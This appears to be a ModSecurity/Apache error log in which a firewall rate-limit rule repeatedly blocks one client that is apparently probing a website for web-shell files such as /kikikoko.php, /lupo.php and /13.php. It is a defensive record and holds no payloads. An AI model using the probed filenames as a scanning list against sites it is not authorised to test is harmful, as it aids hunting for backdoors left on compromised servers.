[Fri Apr 10 16:22:53.179675 2026] [:error] [pid 13101:tid 13145] [client 172.213.241.33:11149] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-vn1.php"] [unique_id "adizXd8Ldw85818pj2phjgAAAIw"]
[Fri Apr 10 16:22:53.654282 2026] [:error] [pid 13101:tid 13143] [client 172.213.241.33:10841] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ewp.php"] [unique_id "adizXd8Ldw85818pj2phkgAAAIo"]
[Fri Apr 10 16:22:54.120295 2026] [:error] [pid 13102:tid 13179] [client 172.213.241.33:10860] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ewp.php"] [unique_id "adizXv9xLvjW2guI55YQZwAAABM"]
[Fri Apr 10 16:22:54.597084 2026] [:error] [pid 13100:tid 13112] [client 172.213.241.33:10845] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ewp.php"] [unique_id "adizXlzg-ZkZ0InWIP1TjwAAAQc"]
[Fri Apr 10 16:22:55.061265 2026] [:error] [pid 13100:tid 13114] [client 172.213.241.33:11243] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ewp.php"] [unique_id "adizX1zg-ZkZ0InWIP1TkQAAAQk"]
[Fri Apr 10 16:22:55.533489 2026] [:error] [pid 3934:tid 3940] [client 172.213.241.33:10829] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kikikoko.php"] [unique_id "adizX4a41m-BS8mg82cFfgAAAME"]
[Fri Apr 10 16:22:55.995952 2026] [:error] [pid 13101:tid 13146] [client 172.213.241.33:10853] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kikikoko.php"] [unique_id "adizX98Ldw85818pj2phpAAAAI0"]
[Fri Apr 10 16:22:56.457983 2026] [:error] [pid 13102:tid 13182] [client 172.213.241.33:10852] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kikikoko.php"] [unique_id "adizYP9xLvjW2guI55YQawAAABY"]
[Fri Apr 10 16:22:56.916197 2026] [:error] [pid 13102:tid 13162] [client 172.213.241.33:11231] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kikikoko.php"] [unique_id "adizYP9xLvjW2guI55YQbQAAAAI"]
[Fri Apr 10 16:22:57.376592 2026] [:error] [pid 3934:tid 3940] [client 172.213.241.33:10840] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "adizYYa41m-BS8mg82cFkQAAAME"]
[Fri Apr 10 16:22:57.843796 2026] [:error] [pid 13101:tid 13143] [client 172.213.241.33:11222] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "adizYd8Ldw85818pj2phsQAAAIo"]
[Fri Apr 10 16:22:58.308509 2026] [:error] [pid 13102:tid 13166] [client 172.213.241.33:11207] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "adizYv9xLvjW2guI55YQbwAAAAY"]
[Fri Apr 10 16:22:58.771832 2026] [:error] [pid 13101:tid 13151] [client 172.213.241.33:10855] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "adizYt8Ldw85818pj2phtwAAAJI"]
[Fri Apr 10 16:22:59.233352 2026] [:error] [pid 3934:tid 3940] [client 172.213.241.33:11215] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "adizY4a41m-BS8mg82cFoQAAAME"]
[Fri Apr 10 16:22:59.710533 2026] [:error] [pid 13100:tid 13121] [client 172.213.241.33:11141] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "adizY1zg-ZkZ0InWIP1ToAAAARA"]
[Fri Apr 10 16:23:00.173667 2026] [:error] [pid 3934:tid 3946] [client 172.213.241.33:11221] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "adizZIa41m-BS8mg82cFrAAAAMc"]
[Fri Apr 10 16:23:00.641403 2026] [:error] [pid 13101:tid 13144] [client 172.213.241.33:11230] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "adizZN8Ldw85818pj2phwQAAAIs"]
[Fri Apr 10 16:23:01.106912 2026] [:error] [pid 13189:tid 13212] [client 172.213.241.33:10842] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "adizZZAxiJKPums3eBAUUQAAAFQ"]
[Fri Apr 10 16:23:01.575064 2026] [:error] [pid 3934:tid 3963] [client 172.213.241.33:10846] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "adizZYa41m-BS8mg82cFuQAAANg"]
[Fri Apr 10 16:23:02.062098 2026] [:error] [pid 3934:tid 3948] [client 172.213.241.33:11251] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "adizZoa41m-BS8mg82cFvgAAAMk"]
[Fri Apr 10 16:23:02.535714 2026] [:error] [pid 13189:tid 13192] [client 172.213.241.33:11091] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "adizZpAxiJKPums3eBAUVAAAAEA"]
[Fri Apr 10 16:23:03.013447 2026] [:error] [pid 13100:tid 13108] [client 172.213.241.33:10864] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "adizZ1zg-ZkZ0InWIP1TogAAAQM"]
[Fri Apr 10 16:23:03.473174 2026] [:error] [pid 13102:tid 13165] [client 172.213.241.33:10870] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "adizZ_9xLvjW2guI55YQeQAAAAU"]
[Fri Apr 10 16:23:03.940502 2026] [:error] [pid 13102:tid 13179] [client 172.213.241.33:11239] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "adizZ_9xLvjW2guI55YQfQAAABM"]
[Fri Apr 10 16:23:04.401368 2026] [:error] [pid 13101:tid 13151] [client 172.213.241.33:11214] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "adizaN8Ldw85818pj2phyAAAAJI"]
[Fri Apr 10 16:23:04.882824 2026] [:error] [pid 13101:tid 13145] [client 172.213.241.33:11171] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "adizaN8Ldw85818pj2phyQAAAIw"]
[Fri Apr 10 16:23:05.342768 2026] [:error] [pid 13101:tid 13154] [client 172.213.241.33:11257] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "adizad8Ldw85818pj2phywAAAJU"]
[Fri Apr 10 16:23:05.822576 2026] [:error] [pid 3934:tid 3962] [client 172.213.241.33:11151] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "adizaYa41m-BS8mg82cF0wAAANc"]
[Fri Apr 10 16:23:06.318244 2026] [:error] [pid 3934:tid 3958] [client 172.213.241.33:11189] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "adizaoa41m-BS8mg82cF1gAAANM"]
[Fri Apr 10 16:23:06.786390 2026] [:error] [pid 3934:tid 3940] [client 172.213.241.33:11212] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "adizaoa41m-BS8mg82cF3AAAAME"]
[Fri Apr 10 16:23:07.253353 2026] [:error] [pid 3934:tid 3959] [client 172.213.241.33:10863] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "adiza4a41m-BS8mg82cF4AAAANQ"]
[Fri Apr 10 16:23:07.715819 2026] [:error] [pid 3934:tid 3945] [client 172.213.241.33:10843] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "adiza4a41m-BS8mg82cF5AAAAMY"]
[Fri Apr 10 16:23:08.216776 2026] [:error] [pid 13101:tid 13134] [client 172.213.241.33:11211] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "adizbN8Ldw85818pj2phzwAAAIE"]
[Fri Apr 10 16:23:08.684405 2026] [:error] [pid 13101:tid 13141] [client 172.213.241.33:10838] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "adizbN8Ldw85818pj2ph0QAAAIg"]
[Fri Apr 10 16:23:09.154620 2026] [:error] [pid 13101:tid 13149] [client 172.213.241.33:11261] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "adizbd8Ldw85818pj2ph0wAAAJA"]
[Fri Apr 10 16:23:09.653901 2026] [:error] [pid 13101:tid 13138] [client 172.213.241.33:11260] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "adizbd8Ldw85818pj2ph1QAAAIU"]
[Fri Apr 10 16:23:10.121811 2026] [:error] [pid 13102:tid 13164] [client 172.213.241.33:11228] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "adizbv9xLvjW2guI55YQiQAAAAQ"]
[Fri Apr 10 16:23:10.640424 2026] [:error] [pid 13101:tid 13144] [client 172.213.241.33:11218] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "adizbt8Ldw85818pj2ph1wAAAIs"]
[Fri Apr 10 16:23:11.112828 2026] [:error] [pid 13101:tid 13133] [client 172.213.241.33:11250] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "adizb98Ldw85818pj2ph2AAAAIA"]
[Fri Apr 10 16:23:11.584943 2026] [:error] [pid 3934:tid 3941] [client 172.213.241.33:10858] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "adizb4a41m-BS8mg82cF-gAAAMI"]
[Fri Apr 10 16:23:12.043609 2026] [:error] [pid 3934:tid 3957] [client 172.213.241.33:11142] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "adizcIa41m-BS8mg82cF_wAAANI"]
[Fri Apr 10 16:23:12.507347 2026] [:error] [pid 3934:tid 3942] [client 172.213.241.33:11252] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "adizcIa41m-BS8mg82cGBgAAAMM"]
[Fri Apr 10 16:23:12.976791 2026] [:error] [pid 3934:tid 3943] [client 172.213.241.33:11245] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "adizcIa41m-BS8mg82cGCwAAAMQ"]
[Fri Apr 10 16:23:13.445308 2026] [:error] [pid 3934:tid 3963] [client 172.213.241.33:11139] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "adizcYa41m-BS8mg82cGDgAAANg"]
[Fri Apr 10 16:23:13.924876 2026] [:error] [pid 13101:tid 13139] [client 172.213.241.33:11223] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "adizcd8Ldw85818pj2ph3QAAAIY"]
[Fri Apr 10 16:23:14.398717 2026] [:error] [pid 3934:tid 3940] [client 172.213.241.33:10868] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "adizcoa41m-BS8mg82cGFAAAAME"]
[Fri Apr 10 16:23:14.865757 2026] [:error] [pid 3934:tid 3943] [client 172.213.241.33:11246] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "adizcoa41m-BS8mg82cGFgAAAMQ"]
[Fri Apr 10 16:23:15.329981 2026] [:error] [pid 3934:tid 3960] [client 172.213.241.33:11217] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "adizc4a41m-BS8mg82cGGgAAANU"]
[Fri Apr 10 16:23:15.824026 2026] [:error] [pid 3934:tid 3952] [client 172.213.241.33:11247] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "adizc4a41m-BS8mg82cGHQAAAM0"]
[Fri Apr 10 16:23:16.289539 2026] [:error] [pid 3934:tid 3939] [client 172.213.241.33:10851] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wert.php"] [unique_id "adizdIa41m-BS8mg82cGIAAAAMA"]
[Fri Apr 10 16:23:16.760813 2026] [:error] [pid 13101:tid 13140] [client 172.213.241.33:10857] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wert.php"] [unique_id "adizdN8Ldw85818pj2ph7gAAAIc"]
[Fri Apr 10 16:23:17.222157 2026] [:error] [pid 13101:tid 13136] [client 172.213.241.33:11184] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wert.php"] [unique_id "adizdd8Ldw85818pj2ph8wAAAIM"]
[Fri Apr 10 16:23:17.687824 2026] [:error] [pid 3934:tid 3951] [client 172.213.241.33:10875] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wert.php"] [unique_id "adizdYa41m-BS8mg82cGJAAAAMw"]
[Fri Apr 10 16:23:18.165982 2026] [:error] [pid 13189:tid 13206] [client 172.213.241.33:11240] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "adizdpAxiJKPums3eBAUbAAAAE4"]
[Fri Apr 10 16:23:18.631884 2026] [:error] [pid 13101:tid 13135] [client 172.213.241.33:11237] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "adizdt8Ldw85818pj2ph_AAAAII"]
[Fri Apr 10 16:23:19.103004 2026] [:error] [pid 13101:tid 13134] [client 172.213.241.33:11209] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "adizd98Ldw85818pj2piAQAAAIE"]
